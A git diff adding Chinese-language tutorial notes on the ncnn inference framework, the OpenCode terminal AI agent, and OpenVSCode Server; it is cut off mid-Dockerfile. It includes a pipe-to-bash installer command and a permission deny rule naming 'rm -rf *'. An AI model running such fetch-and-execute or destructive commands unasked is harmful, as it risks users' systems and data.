Vulkan | Adreno、Mali 等 GPU offload;驱动质量因机型差异大 | +| fp16 / int8 | 半精度省内存;整型需校准或 QAT,适合极致性能 | + +## 实践案例 + +### 案例 1:C++ 图像分类完整流程 + +以下示例改编自官方 AlexNet 教程,展示从读图到输出分类分数的最小闭环: + +```cpp +#include "net.h" +#include + +int main() +{ + ncnn::Net net; + net.load_param("alexnet.param"); + net.load_model("alexnet.bin"); + + int w = 640, h = 480; + unsigned char* rgb = load_image_rgb("cat.jpg", &w, &h); + + ncnn::Mat in = ncnn::Mat::from_pixels_resize( + rgb, ncnn::Mat::PIXEL_RGB, w, h, 227, 227); + + const float mean_vals[3] = {104.f, 117.f, 123.f}; + in.substract_mean_normalize(mean_vals, 0); + + ncnn::Extractor ex = net.create_extractor(); + ex.input("data", in); + + ncnn::Mat out; + ex.extract("prob", out); + + ncnn::Mat flat = out.reshape(out.w * out.h * out.c); + int best = 0; + float best_score = -1.f; + for (int i = 0; i < flat.w; i++) { + if (flat[i] > best_score) { + best_score = flat[i]; + best = i; + } + } + printf("top1 class = %d, score = %.4f\n", best, best_score); + net.clear(); + return 0; +} +``` + +要点:blob 名称 `"data"` / `"prob"` 来自 param 文件;预处理在 `Mat` 上完成;推理结束 `net.clear()` 释放映射。 + +### 案例 2:Python 用 pnnx 把 PyTorch 模型转成 ncnn + +```python +import torch +import torchvision +import pnnx + +model = torchvision.models.resnet18( + weights=torchvision.models.ResNet18_Weights.DEFAULT) +model.eval() + +x = torch.rand(1, 3, 224, 224) +pnnx.export(model, "resnet18", x) + +print(" resnet18.ncnn.param — 网络结构") +print(" resnet18.ncnn.bin — 权重") +print(" resnet18_pnnx.py — PyTorch 参考") +``` + +命令行等价:`pnnx resnet18.pt inputshape=[1,3,224,224]`。把生成的 param/bin 拷进 Android `assets` 或 iOS bundle,再用案例一的 C++ 流程加载。**导出时的输入尺寸必须和上线推理一致**。 + +### 案例 3(进阶):ncnn2mem 零拷贝嵌入安装包 + +```bash +ncnn2mem alexnet.param alexnet.bin alexnet.id.h alexnet.mem.h +``` + +```cpp +#include "alexnet.mem.h" +#include "alexnet.id.h" + +ncnn::Net net; +net.load_param(alexnet_param_bin); +net.load_model(alexnet_bin); + +ncnn::Extractor ex = net.create_extractor(); +ex.input(alexnet_param_id::BLOB_data, in); +ex.extract(alexnet_param_id::BLOB_prob, out); +``` + +`load_param` / `load_model` 直接引用静态数组缓冲区,推理期间**不能释放**这块内存——适合从 `AAssetManager` 读入后常驻 RAM 的场景。 + +### 桌面快速验证 + +```bash +git clone https://github.com/Tencent/ncnn.git +cd ncnn && mkdir build && cd build +cmake -DCMAKE_BUILD_TYPE=Release -DNCNN_VULKAN=ON -DNCNN_BUILD_EXAMPLES=ON .. +make -j$(nproc) +./examples/squeezenet ../images/ncnn.png +``` + +也可 `pip install ncnn` 获取带 Python 绑定的预编译轮子,适合原型验证。 + +## 踩过的坑 + +1. **转换成功但推理结果全错**:先查预处理(RGB vs BGR、均值方差)、pnnx 导出 shape 是否与线上一致、是否忘记 `model.eval()`;用 `*_pnnx.py` 在 PyTorch 侧对比中间层 +2. **param 里 blob 名称找不到**:用文本编辑器打开 `*.ncnn.param` 查 Input/Output 名;二进制 param 必须用 `ncnn2mem` 生成的 `*.id.h` 枚举 +3. **Vulkan 开了反而更慢**:部分机型驱动不成熟,务必用 `benchncnn` 同机对比 CPU vs GPU,不要默认 `set_vulkan_compute(true)` +4. **动态 shape 踩雷**:ncnn 传统上偏好固定输入;可变分辨率常导出多份 param 或按档位切换,完全动态图需逐层验证 shape +5. **多线程共享 Extractor**:跨线程复用同一 extractor 会数据竞争,每线程各自 `create_extractor()` + +## 适用 vs 不适用场景 + +**适用**: + +- 手机 App / 嵌入式 Linux 上跑 CNN,要求**低依赖、可控 APK 体积** +- 隐私敏感、需**离线推理**(人脸、滤镜、端侧检测) +- 已有 PyTorch 模型,愿意走 pnnx → ncnn 转换链 +- 需要 ARM NEON + 可选 Vulkan 的移动端 CPU/GPU 混合加速 + +**不适用**: + +- 无 OS、只有几百 KB RAM 的 MCU → 看 [[tflite-micro]]、[[cmsis-nn]] +- 深度绑定某家 SoC 且只用官方 SDK → 如乐鑫 [[esp-dl]] +- 需要训练、微调、自动求导 → 留在 [[pytorch]],ncnn 只管推理 +- 强依赖完整 ONNX 算子生态、不想维护转换链 → 考虑 ONNX Runtime Mobile + +| 框架 | 典型目标 | 和 ncnn 的差异 | +| --- | --- | --- | +| [[tflite-micro]] | Cortex-M MCU | KB 级 arena;ncnn 假设 MB 级 RAM | +| [[esp-dl]] | ESP32 | 专用 `.espdl`;ncnn 跨平台 | +| ONNX Runtime | 通用 ONNX | 功能全、依赖相对重;ncnn 更轻、移动 CPU 手工优化深 | +| MNN | 阿里系移动端 | 定位相近;ncnn 社区早、Vulkan 与微信系实践多 | + +## 历史小故事(可跳过) + +- **2017**:腾讯 nihui 在 GitHub 开源 ncnn,定位「为手机端推理而生的高性能框架」,主打无 BLAS 依赖与 ARM NEON +- **2018–2019**:微信、QQ 等内部业务大规模采用,社区出现大量 Android/iOS 集成教程与预编译库 +- **2020 前后**:pnnx 逐步取代零散 `caffe2ncnn` / 手工 `onnx2ncnn` 链,PyTorch 成为主流训练入口 +- **2021+**:Vulkan GPU 路径成熟,`ncnn2mem`、int8 量化、WebAssembly 等能力补齐;与 MNN、TFLite 在移动端形成「三足鼎立」选型格局 +- **现状**:仓库 star 数万级,仍由腾讯维护;在「极致轻依赖 + 可控体积」这条轴上,仍是国内移动 CV 团队的默认候选之一 + +## 学到什么 + +1. **推理框架不是训练框架的缩小版**:ncnn 砍掉 backward、动态图、自动求导,换来的是可预测的内存与可嵌入的安装包体积 +2. **param + bin 双文件是移动端部署的通用隐喻**:结构与人眼可读(或可二进制化),权重单独 mmap,利于热更新与资产打包 +3. **转换链和推理链一样重要**:pnnx 导出时的 input shape、eval 模式、预处理对齐,决定了上线后「能不能用」而不只是「能不能跑」 +4. **CPU 优先、GPU 可选是移动现实**:NEON 多线程是保底路径;Vulkan 是增压,驱动质量决定要不要开 +5. **生态选型看 TCO**:与 PyTorch 隔一层转换,换来的是链接简单、依赖少——技术选型要把「维护转换脚本」算进总成本 + +## 延伸阅读 + +- 官方仓库:[Tencent/ncnn](https://github.com/Tencent/ncnn) +- PyTorch / ONNX 转换:[use-ncnn-with-pytorch-or-onnx](https://github.com/Tencent/ncnn/blob/master/docs/how-to-use-and-FAQ/use-ncnn-with-pytorch-or-onnx.md) +- AlexNet 端到端示例:[use-ncnn-with-alexnet](https://github.com/Tencent/ncnn/blob/master/docs/how-to-use-and-FAQ/use-ncnn-with-alexnet.md) +- 在线文档:[ncnn.readthedocs.io](https://ncnn.readthedocs.io/) +- Python 包:[pypi.org/project/ncnn](https://pypi.org/project/ncnn/) · [pypi.org/project/pnnx](https://pypi.org/project/pnnx/) +- [[onnx]] — 常见中间格式,可经 pnnx 或 onnx2ncnn 进入 ncnn +- [[opencv]] — 图像预处理常与 ncnn 推理并读 + +## 关联 + +- 训练侧:[[pytorch]]、[[onnx]] +- MCU 极小内存:[[tflite-micro]]、[[cmsis-nn]] +- 乐鑫生态:[[esp-dl]] +- 移动工程化常与 [[opencv]] 预处理、Android NDK / iOS 打包并读 + +## 反向链接 + + diff --git a/src/content/docs/projects/opencode.md b/src/content/docs/projects/opencode.md new file mode 100644 index 000000000..6509c9781 --- /dev/null +++ b/src/content/docs/projects/opencode.md @@ -0,0 +1,324 @@ +--- +title: OpenCode — SST 出品的终端 AI IDE +来源: https://github.com/sst/opencode +日期: 2026-06-13 +子分类: 编辑器与 IDE +分类: CLI +provenance: pipeline-v3 +--- + +## 日常类比:住在终端里的「结对程序员」 + +想象你有一位随叫随到的结对搭档:你坐在熟悉的终端窗口里,他坐在旁边。你说「帮我把 `/settings` 路由加上和 `/notes` 一样的鉴权」,他会自己翻文件、grep 搜索、跑测试、看 LSP 报错,改完还问你「这样 diff 可以吗?」——但**不会偷偷把你的代码上传到某个黑盒 SaaS**;模型 API Key 在你手里,对话默认留在本机。 + +**OpenCode 就是这位搭档。** 它是 SST(Serverless Stack)团队开源的 AI 编码代理(MIT),主打 **终端 TUI**,同时也提供桌面客户端和 VS Code / Cursor 扩展。官方仓库历史上叫 [sst/opencode](https://github.com/sst/opencode),现主维护在 [anomalyco/opencode](https://github.com/anomalyco/opencode);文档与安装入口见 [opencode.ai](https://opencode.ai)。与「只能聊天、不能动仓库」的网页 AI 不同,OpenCode 内置读文件、编辑、bash、grep、LSP、MCP 等工具,形成完整的 **agent loop**;与完全无人值守的脚本不同,它支持 **Plan 模式**(只读分析)和可配置的 **permission**(改文件、跑命令前询问)。 + +零基础学习路径:**安装 CLI → `/connect` 配模型 → 进项目跑 `/init` → Tab 切换 build/plan → 用自然语言 + `@文件` 提任务**。 + +--- + +## 这个项目解决什么问题 + +### 痛点 1:终端党不想为了 AI 换整套 GUI IDE + +很多资深开发者日常在 iTerm、WezTerm、Ghostty 里用 vim/neovim + tmux。OpenCode 把 agent 直接嵌进 TUI,不必为了「让 AI 改代码」切到另一个 Electron 应用;需要图形界面时还有 **Desktop Beta** 和 **IDE 扩展** 可选。 + +### 痛点 2:模型和账号被单一厂商绑死 + +OpenCode 通过 [Models.dev](https://models.dev) 接入 **75+ 提供商**:Anthropic、OpenAI、Google、本地 Ollama、Amazon Bedrock 等。还可复用已有订阅——例如 **GitHub Copilot** 登录、**ChatGPT Plus/Pro** 登录,或 SST 自家的 **OpenCode Zen**(经团队 benchmark 过的模型列表)。API Key 用 `/connect` 或环境变量配置,**扩展本身不按 token 加价**。 + +### 痛点 3:AI 乱改文件、命令不可控 + +内置 **build**(全权限开发)与 **plan**(默认禁止写文件、bash 需批准)两种主 agent,用 **Tab** 切换。`opencode.json` 里可把 `edit`、`bash` 设为 `"ask"`,团队还可用 macOS MDM / 托管 `opencode.json` 强制策略。 + +### 痛点 4:每个仓库规范不同 + +运行 **`/init`** 会扫描项目并生成根目录 **`AGENTS.md`**,帮助 agent 理解目录结构与约定;还可通过 `instructions` 字段引用 `CONTRIBUTING.md`、`.cursor/rules/*.md` 等。项目级 **`opencode.json`** 与 **`.opencode/`** 目录(agents、commands、plugins、skills)可 commit 进 Git,全组行为一致。 + +### 痛点 5:协作与 CI 需要可分享的 agent 会话 + +TUI 里 **`/share`** 可生成公开链接分享当前对话(可设为 manual / auto / disabled)。GitHub 侧运行 `opencode github install` 后,在 Issue/PR 评论里 `@opencode` 或 `/oc`,可在 **GitHub Actions runner** 里执行任务并提 PR——代码不出你的 GitHub 环境。 + +--- + +## 核心概念拆解 + +### 1. TUI(Terminal User Interface) + +在项目目录执行 `opencode` 即启动交互界面。斜杠命令如 `/connect`、`/init`、`/undo`、`/models` 是主要控制面;Leader 键默认 **Ctrl+X**(可改 `tui.json` 的 `keybinds`)。长消息可用 **`/editor`** 调 `$EDITOR` 撰写;拖图片进终端可做多模态参考。 + +### 2. Agent 与模式 + +| Agent | 作用 | 典型场景 | +|-------|------|----------| +| **build** | 默认;可编辑、跑 bash、调工具 | 实现功能、修 bug、跑测试 | +| **plan** | 只读;改文件默认 deny,bash 需批准 | 读陌生仓库、写实现方案 | +| **general**(子 agent) | 复杂搜索、多步任务 | 消息里 `@general` 显式调用 | + +右下角指示当前模式;**Tab** 在 build ↔ plan 间切换。自定义 agent 可在 `opencode.json` 的 `agent` 块或 `.opencode/agents/*.md` 定义。 + +### 3. 内置工具(Tool Registry) + +OpenCode 核心注册的工具包括: + +| 类别 | 工具 | 用途 | +|------|------|------| +| 文件 | `read`, `edit`, `write`, `apply_patch` | 读/改/写/补丁式编辑 | +| 搜索 | `grep`, `glob`, `lsp` | ripgrep、路径匹配、语言服务器 | +| 网络 | `webfetch` | 拉取网页内容 | +| 编排 | `task`, `skill` | 委派子 agent、加载 skill 指令 | + +可在配置里 `tools: { write: false }` 禁用某类工具;与 **permission** 配合实现最小权限。 + +### 4. LSP 与 Formatter + +开启 `lsp: true` 后,OpenCode 会按项目自动加载合适 LSP,让模型「看见」类型与诊断;`formatter` 可在 agent 改文件后自动跑 Prettier 等。这对 TypeScript/Rust 等强类型项目减少「改完一堆红波浪线」的返工。 + +### 5. 配置分层与合并 + +多个来源的 `opencode.json` **合并而非覆盖**(冲突键以后者为准)。大致优先级从低到高:远程 `.well-known/opencode` → 全局 `~/.config/opencode/` → 环境变量 `OPENCODE_CONFIG` → 项目根 `opencode.json` → `.opencode/` → 托管/MDM 策略。TUI 外观单独放在 **`tui.json`**。 + +### 6. Session、Snapshot 与 Undo + +会话内改动通过 **snapshot** 跟踪(默认开启,大 monorepo 可 `snapshot: false` 换性能)。**`/undo`** 回滚 agent 引入的变更并恢复你的上一条提示;**`/redo`** 重做。这与 Git 互补:Git 管「最终提交」,OpenCode 管「这一轮对话里的试错」。 + +### 7. MCP、Plugin、Skill + +- **MCP**:在 `opencode.json` 的 `mcp` 块配置远程/stdio 服务器,扩展数据库、Jira、搜索等能力。 +- **Plugin**:`.opencode/plugins/` 或 npm 包名(`plugin` 数组)加载自定义工具与钩子。 +- **Skill**:`.opencode/skills/` 或 `@skill` 注入领域指令,类似「可插拔 SOP」。 + +### 8. 多界面同一核心 + +| 界面 | 说明 | +|------|------| +| TUI | `opencode`,日常主力 | +| Desktop | [opencode.ai/download](https://opencode.ai/download),Beta | +| VS Code 扩展 | 扩展 ID `sst-dev.opencode`;`Cmd+Esc` 开终端会话 | +| CLI 非交互 | `opencode run "prompt"`,适合脚本 | +| GitHub Action | `opencode github install` 后 PR/Issue 驱动 | + +### 9. 与 Cline、Aider、Cursor 的定位差 + +| 维度 | OpenCode | [[cline]] | [[aider]] | Cursor | +|------|----------|-----------|-----------|--------| +| 主战场 | 终端 TUI | VS Code 侧边栏 | 终端 + Git | IDE 内置 | +| 开源 | MIT | Apache 2.0 | Apache 2.0 | 商业为主 | +| Plan/Build 分离 | Tab 切换内置 agent | Plan & Act 模式 | 无一等 Plan UI | Agent 模式因版本而异 | +| 模型来源 | 75+ 提供商 + Zen | BYOK | BYOK | 订阅制 | +| 项目规则 | `AGENTS.md` + `instructions` | `.clinerules/` | `.aider.conf.yml` | Rules | + +三者可并存:终端 OpenCode 做探索,[[aider]] 做 Git 原子提交,[[cline]] 做带浏览器 MCP 的 GUI 任务。 + +--- + +## 安装与首次配置 + +```bash +# 推荐:官方安装脚本(自动检测 OS/arch) +curl -fsSL https://opencode.ai/install | bash + +# 或通过包管理器 +brew install anomalyco/tap/opencode # macOS/Linux,更新最勤 +npm install -g opencode-ai # Node 全局 +scoop install opencode # Windows + +# 进入项目 +cd /path/to/your-repo +opencode +``` + +TUI 内首次使用: + +1. **`/connect`** — 选 OpenCode Zen、Anthropic、OpenAI 等,粘贴 API Key;或 OAuth 登录 Copilot/ChatGPT。 +2. **`/models`** — 选择默认模型(如 `anthropic/claude-sonnet-4-5`)。 +3. **`/init`** — 生成 `AGENTS.md`。 +4. **Tab** — 确认右下角为 **plan** 或 **build**。 + +可选:项目根创建 `opencode.json` 固化模型与权限(见下文示例)。 + +--- + +## 代码示例 1:Plan → Build 完成一个小功能 + +场景:Express 项目新增 `GET /health`,返回 `{ status: "ok", uptime: number }`。 + +**Step 1 — 切到 Plan 模式(Tab),只读分析** + +在 TUI 输入: + +```text +@src/server.ts @package.json +我想加 GET /health,返回 JSON:status 和 process.uptime()。 +先别改文件:列出要动哪些文件、测试怎么跑、和现有路由风格是否一致。 +``` + +Plan agent 会 `read` / `grep` 相关文件,给出实现步骤。你确认后再 **Tab 切回 build**。 + +**Step 2 — Build 模式执行** + +```text +按刚才的方案实现。写完运行 package.json 里的 test 脚本; +若有 tsc/eslint 报错请自行修复。完成后用三句话总结 diff。 +``` + +若配置了 `"permission": { "edit": "ask", "bash": "ask" }`,每次写文件或跑命令会弹出批准;满意则通过,不满意 **`/undo`** 整轮回滚并重写提示。 + +**Step 3 — 分享或固化(可选)** + +```text +/share +``` + +生成只读链接给同事 review 这次 agent 对话;或把最终方案写进 `AGENTS.md` 的「Health check」小节供后续会话复用。 + +--- + +## 代码示例 2:项目级 `opencode.json` 与自定义命令 + +### 2a. 团队统一模型、权限与 MCP + +项目根 `opencode.json`: + +```jsonc +{ + "$schema": "https://opencode.ai/config.json", + "model": "anthropic/claude-sonnet-4-5", + "small_model": "anthropic/claude-haiku-4-5", + "default_agent": "build", + "permission": { + "edit": "ask", + "bash": { + "*": "ask", + "rm -rf *": "deny" + } + }, + "instructions": ["CONTRIBUTING.md", "docs/architecture.md"], + "formatter": true, + "lsp": true, + "command": { + "test": { + "description": "跑全量测试并汇报失败", + "template": "Run the full test suite with coverage. Fix failures if trivial; otherwise summarize root cause.", + "agent": "build" + } + }, + "mcp": { + "github": { + "type": "stdio", + "command": ["npx", "-y", "@modelcontextprotocol/server-github"], + "environment": { + "GITHUB_PERSONAL_ACCESS_TOKEN": "{env:GITHUB_TOKEN}" + } + } + } +} +``` + +之后在 TUI 输入 **`/test`** 即展开为预置长提示;敏感 Key 用 `{env:GITHUB_TOKEN}` 从环境变量注入,避免写进 Git。 + +### 2b. 只读 Code Review 子 agent + +`.opencode/agents/reviewer.md`: + +```markdown +--- +description: 只读代码审查,不改文件 +model: anthropic/claude-sonnet-4-5 +tools: + write: false + edit: false + bash: false +--- + +你是严格的 code reviewer。关注:安全、性能、边界条件、测试覆盖。 +输出格式:Critical / Major / Minor 分级,每条带文件路径与行号引用。 +不要直接修改代码,只给可执行的修改建议。 +``` + +TUI 里 `@reviewer` 或配置 `default_agent` 切换;适合 PR 前自检,与 build agent 分工明确。 + +--- + +## 代码示例 3:非交互 CLI 与 VS Code 快捷集成 + +### 3a. 脚本化一次问答 + +```bash +# 单次 prompt,适合 CI 或本地脚本(需已 opencode auth) +export OPENCODE_CONFIG=/path/to/opencode.json +opencode run "List all TODO comments in src/ and group by module" + +# 指定工作目录 +opencode /path/to/other-repo run "Explain how auth middleware works" +``` + +### 3b. VS Code / Cursor 扩展 + +1. 在集成终端运行一次 `opencode`,扩展会自动安装(Marketplace ID:`sst-dev.opencode`)。 +2. 快捷键: + - **Cmd+Esc**(Mac)/ **Ctrl+Esc**(Win/Linux):聚焦或打开 OpenCode 终端。 + - **Cmd+Shift+Esc**:新开会话 tab。 + - **Cmd+Option+K**:把当前文件路径插入为 `@path/to/file#L10-20` 引用。 + +这样 GUI 里选中代码、终端里 agent 改仓库,上下文通过 `@` 引用对齐,不必复制粘贴大段代码。 + +--- + +## TUI 常用斜杠命令速查 + +| 命令 | 作用 | +|------|------| +| `/connect` | 配置 LLM 提供商与 API Key | +| `/init` | 分析项目,生成/更新 `AGENTS.md` | +| `/models` | 切换当前会话模型 | +| `/undo` / `/redo` | 回滚/重做 agent 文件变更 | +| `/share` | 生成可分享会话链接 | +| `/export` | 导出对话(走 `$EDITOR`) | +| `/help` | 命令面板与快捷键帮助 | + +Leader 键(默认 Ctrl+X)组合可打开主题、键位、滚动等设置;细节见 [TUI 文档](https://opencode.ai/docs/tui)。 + +--- + +## 隐私、成本与选型建议 + +- **隐私**:官方强调不存储你的代码与上下文;敏感环境可只用本地模型 + 禁用 `webfetch` / 出站 MCP。 +- **成本**:OpenCode 软件免费;token 费用取决于所选模型。Zen 提供经测试的「agent 友好」模型列表,减少「同一个 prompt 不同模型质量差十倍」的试错。 +- **何时优先 OpenCode**:你本来就在终端工作、想要开源可审计 agent、需要 Plan/Build 明确分离、或要在 GitHub Actions 里 `@opencode`。 +- **何时叠加其他工具**:需要 VS Code diff 侧边栏审批 UX 用 [[cline]];需要「只改 Git 跟踪文件、自动 commit」用 [[aider]];需要深度 IDE 索引用 Cursor。 + +--- + +## 常见问题 + +**Q:仓库从 sst/opencode 迁到哪了?** +A:主开发在 GitHub **anomalyco/opencode**;安装脚本与文档域名仍是 opencode.ai。笔记 frontmatter 保留 SST 起源链接便于溯源。 + +**Q:必须联网吗?** +A:模型推理需 API 或本地推理栈(Ollama 等);工具链本身可离线读本地仓库。 + +**Q:Windows 怎么装?** +A:Scoop、Chocolatey、npm 或 Desktop `.exe`;Bun 安装仍在完善中。 + +**Q:和 Claude Code / Codex CLI 冲突吗?** +A:不冲突,可同时安装;注意别多个 agent 同时改同一工作区,用 Git 分支隔离。 + +**Q:大 monorepo 卡顿?** +A:配置 `watcher.ignore` 排除 `node_modules`/`dist`;必要时 `snapshot: false`;或缩小单次 `@` 引用范围。 + +--- + +## 延伸资源 + +- 官方文档:[opencode.ai/docs](https://opencode.ai/docs) +- 配置 Schema:[opencode.ai/config.json](https://opencode.ai/config.json) +- GitHub:[github.com/anomalyco/opencode](https://github.com/anomalyco/opencode)(原 [sst/opencode](https://github.com/sst/opencode)) +- 社区: [opencode.ai/discord](https://opencode.ai/discord) +- 相关笔记:[[cline]]、[[aider]]、[[vscode]] + +--- + +## 小结 + +OpenCode 把「会读仓库、会跑命令、会看 LSP 的 AI」放进终端,用 **build/plan 双 agent**、**分层配置** 和 **/undo 快照** 平衡效率与安全。零基础只需记住四条:**安装 → `/connect` → `/init` → Tab 切换模式**;进阶再把 `opencode.json`、`.opencode/agents` 和 MCP 纳入团队工程化。作为 SST 开源生态里面向 daily driver 的 agent 入口,它适合作为终端工作流的第一站,而不是唯一一站。 diff --git a/src/content/docs/projects/openvscode-server.md b/src/content/docs/projects/openvscode-server.md new file mode 100644 index 000000000..32bfba04c --- /dev/null +++ b/src/content/docs/projects/openvscode-server.md @@ -0,0 +1,372 @@ +--- +title: OpenVSCode Server — VS Code Server 上游 +来源: 'https://github.com/gitpod-io/openvscode-server' +日期: 2026-06-13 +子分类: 编辑器与 IDE +分类: CLI +难度: 中级 +provenance: pipeline-v3 +--- + +## 日常类比:把「正版 VS Code」搬进机房,门口只留一块浏览器招牌 + +想象你经营一家连锁咖啡店。总部有一套**标准配方、标准设备、标准菜单**——这就是微软开源的 [[vscode]](Code - OSS)。每家分店本来都要在本地摆一台完整咖啡机(Electron 桌面版),员工自带笔记本,环境各搞各的。 + +2019 年起,总部把架构改成「**中央厨房 + 前台点单屏**」:重活(磨豆、萃取、洗碗)在机房服务器完成,顾客用 iPad 浏览器点单、看进度。GitHub Codespaces、Gitpod 商用云 IDE 用的就是这套厨房模式——但厨房图纸一直没完全公开。 + +**OpenVSCode Server 干的事**:Gitpod 把「让上游 VS Code 在浏览器里跑起来」所需的最小补丁(官方说法约几百行量级)单独抽出来开源。它不是仿 VS Code 的替代品,而是**贴着微软主线走的 Server 构建**——升级跟着 VS Code 版本走,扩展默认接**官方 Marketplace**,而不是像 [[code-server]] 那样默认走 Open VSX。 + +项目地址:[gitpod-io/openvscode-server](https://github.com/gitpod-io/openvscode-server),GitHub 约 6k+ Stars(2026 年中),MIT 开源。口号:**Run upstream VS Code on a remote machine with access through a modern web browser from any device, anywhere.** + +--- + +## 这个项目解决什么问题 + +### 痛点 1:社区长期用「硬改 VS Code」的脆弱方案 + +在微软重构出 Web/Server 架构之前,很多人靠大量 patch 把 VS Code 塞进浏览器——每次上游发版都要重新合并,冲突频发,维护成本极高。OpenVSCode Server 的定位是:**只补 Server 场景缺的那几块砖**,其余全部交给上游。 + +### 痛点 2:想用 Codespaces / Gitpod 同款架构,但要自托管 + +GitHub Codespaces 绑定 GitHub 生态且核心服务闭源;Gitpod 云产品按席位/用量计费。OpenVSCode Server 让你在**自己的 NAS、云主机、实验室服务器**上复现「浏览器里完整 VS Code」的体验,数据与算力留在自己手里。 + +### 痛点 3:扩展生态与桌面 VS Code 不一致 + +[[code-server]] 因许可限制默认使用 Open VSX,偶尔会遇到「桌面能装、浏览器 IDE 搜不到」的扩展。OpenVSCode Server 走**官方扩展市场**路线,对「我必须用某几个微软市场独占扩展」的团队更友好。 + +### 痛点 4:需要标准化远程开发环境,但不想绑定某家 SaaS + +学校机房、合规内网、个人 homelab——场景各异,共同点都是:**一台(或每人一个)远程工作区 + 浏览器入口 + 可预期的升级路径**。OpenVSCode Server 提供的是基础设施积木,不是完整的多租户平台(那一步要你自己用 Docker/K8s/反向代理去拼)。 + +--- + +## 核心概念拆解 + +### 1. 上游对齐(Upstream-aligned),不是 Fork 重写 + +OpenVSCode Server 基于微软 **Code - OSS** 主线,只增加跑在 Server/Web 场景所需的最小改动。Gitpod 明确表态:**不打算在 VS Code 里加面向终端用户的新功能**;功能请求、编辑器 bug 应去 [microsoft/vscode](https://github.com/microsoft/vscode) 报。日常类比:给标准轿车加一套「拖车钩」和「远程启动模块」,发动机舱布局不动。 + +### 2. 与 VS Code 2019 年后的 Web 架构同源 + +微软把编辑器拆成可远程化的进程模型后,Gitpod、GitHub Codespaces 都采用了同一思路:**UI 在浏览器,扩展宿主与文件系统在远端**。OpenVSCode Server 把当年未完全开源的「Server 侧胶水层」补进了社区——所以它和 Codespaces 的体感接近,而不是另一套 UI 仿制品。 + +### 3. 单实例 ≈ 单工作区,多用户要你自己编排 + +一个 OpenVSCode Server 进程通常服务**一个工作区目录**(Docker 默认挂载 `/home/workspace`)。没有内置「一个 URL 里多账号隔离」——团队场景常见做法是:**每人一个容器/端口**,或前面挂 OAuth 反向代理 + 按用户分 volume。这和商业 Gitpod 的「组织 + 工作区编排」不是同一层产品。 + +### 4. Connection Token:最简单的访问控制 + +自 v1.64 起,默认可以**无鉴权**启动(知道主机名和端口就能进 IDE——含终端权限,极危险)。生产环境应使用 `--connection-token` 或 `--connection-token-file`;浏览器访问形态为 `http://host:3000/?tkn=YOUR_TOKEN`。Docker 官方镜像默认带 `--without-connection-token`,适合本机试用,**不适合裸奔公网**。 + +### 5. 扩展、LSP、调试器跑在服务器 + +与 [[vscode]] Remote-SSH 一致:你在浏览器里点「安装 Python 扩展」,实际装进的是**服务器磁盘**上的扩展目录;语言服务器、调试适配器、Git 操作都在远端 Node 进程里执行。换一台 iPad 登录,同一 URL(带 token)看到的环境不变——因为状态在服务器,不在浏览器 localStorage。 + +### 6. 和 code-server 怎么选(一句话版) + +| 维度 | OpenVSCode Server | code-server | +|------|-------------------|-------------| +| 维护方 | Gitpod | Coder | +| 与上游关系 | 最小 Server 补丁,紧跟 VS Code 版本 | Submodule + 较多 patch 层 | +| 扩展市场 | 官方 VS Code Marketplace | 默认 Open VSX,可自建 | +| 内置能力 | 刻意保持精简 | 更多服务器侧配置(代理、认证等) | +| 适合谁 | 扩展兼容性优先、要「真·上游」 | 要成熟自托管方案、接受 Open VSX | + +两者都能「浏览器里写代码」,不是二选一的对立,而是**扩展生态 vs 运维成熟度**的权衡。 + +### 7. 与 Gitpod 商业产品、Codespaces 的边界 + +- **OpenVSCode Server**:开源 Server 二进制 / Docker 镜像,你自己部署。 +- **Gitpod(商业)**:在之上加了组织管理、预构建、自动化工作区、计费等。 +- **GitHub Codespaces**:微软托管,闭源控制面 + GitHub 深度集成。 + +记法:**OpenVSCode Server = 发动机;Gitpod/Codespaces = 整车 + 4S 店。** + +--- + +## 安装与最小启动 + +### 方式 A:Docker 一键(最适合零基础体验) + +```bash +# 把当前目录挂载为工作区,映射 3000 端口 +docker run -it --init \ + -p 3000:3000 \ + -v "$(pwd):/home/workspace:cached" \ + gitpod/openvscode-server +``` + +浏览器打开 `http://127.0.0.1:3000`。首次加载会解压内置 VS Code Server,稍等片刻即可看到完整 IDE:资源管理器、终端、扩展面板、调试视图都在。 + +**注意**:官方镜像默认 `--without-connection-token`,仅适合本机或可信内网。若要暴露到局域网/公网,见下文「带鉴权启动」。 + +### 方式 B:Release 压缩包(不用 Docker) + +```bash +# 版本号以 GitHub Releases 为准 +export OPENVSCODE_SERVER_VERSION="1.109.5" + +curl -fsSL -o ovs.tar.gz \ + "https://github.com/gitpod-io/openvscode-server/releases/download/openvscode-server-v${OPENVSCODE_SERVER_VERSION}/openvscode-server-v${OPENVSCODE_SERVER_VERSION}-linux-x64.tar.gz" + +tar -xzf ovs.tar.gz +cd "openvscode-server-v${OPENVSCODE_SERVER_VERSION}" + +# 本机试用 +./bin/openvscode-server --host 127.0.0.1 --port 3000 + +# 局域网其他设备访问(仍需配 token + 防火墙) +./bin/openvscode-server \ + --host 0.0.0.0 \ + --port 3000 \ + --connection-token "$(openssl rand -hex 24)" +``` + +终端会打印带 `?tkn=` 的完整 URL,复制到浏览器即可。 + +--- + +## 代码示例 1:生产向 Docker Compose(工作区 + 数据卷 + Token) + +下面是一份可直接改造的 `docker-compose.yml`:代码目录与扩展/设置分离,重启容器不丢扩展;用环境变量注入 token。 + +```yaml +# docker-compose.yml +services: + openvscode: + image: gitpod/openvscode-server:latest + container_name: openvscode-server + restart: unless-stopped + ports: + - "3000:3000" + volumes: + - ./workspace:/home/workspace:cached + - vscode-data:/home/.openvscode-server + entrypoint: + - /bin/sh + - -c + - | + exec /home/.openvscode-server/bin/openvscode-server \ + --host 0.0.0.0 \ + --port 3000 \ + --connection-token "$${CONNECTION_TOKEN}" + environment: + CONNECTION_TOKEN: ${CONNECTION_TOKEN:?set CONNECTION_TOKEN in .env} + +volumes: + vscode-data: +``` + +```bash +# .env — 不要提交到 Git +echo "CONNECTION_TOKEN=$(openssl rand -hex 24)" > .env + +docker compose up -d +# 访问 http://<服务器IP>:3000/?tkn=<你的 token> +``` + +要点: + +- 官方镜像默认 entrypoint 带 `--without-connection-token`,生产必须像上面一样**覆盖 entrypoint** 或自建 Dockerfile。 +- `vscode-data` 卷持久化扩展与用户数据;`workspace` 卷放项目源码。 +- 前面还可叠 Nginx/Caddy + TLS;有 OAuth 网关时,部分部署会把 `CONNECTION_TOKEN=none` 交给上游鉴权(仅当你确信网关已挡住未授权访问)。 + +--- + +## 代码示例 2:自定义镜像预装扩展与系统依赖 + +团队常希望「新人打开浏览器就有 rust-analyzer、主题、公司 lint 规则」。可以在官方镜像上用 `openvscode-server --install-extension` 构建衍生镜像: + +```dockerfile +# 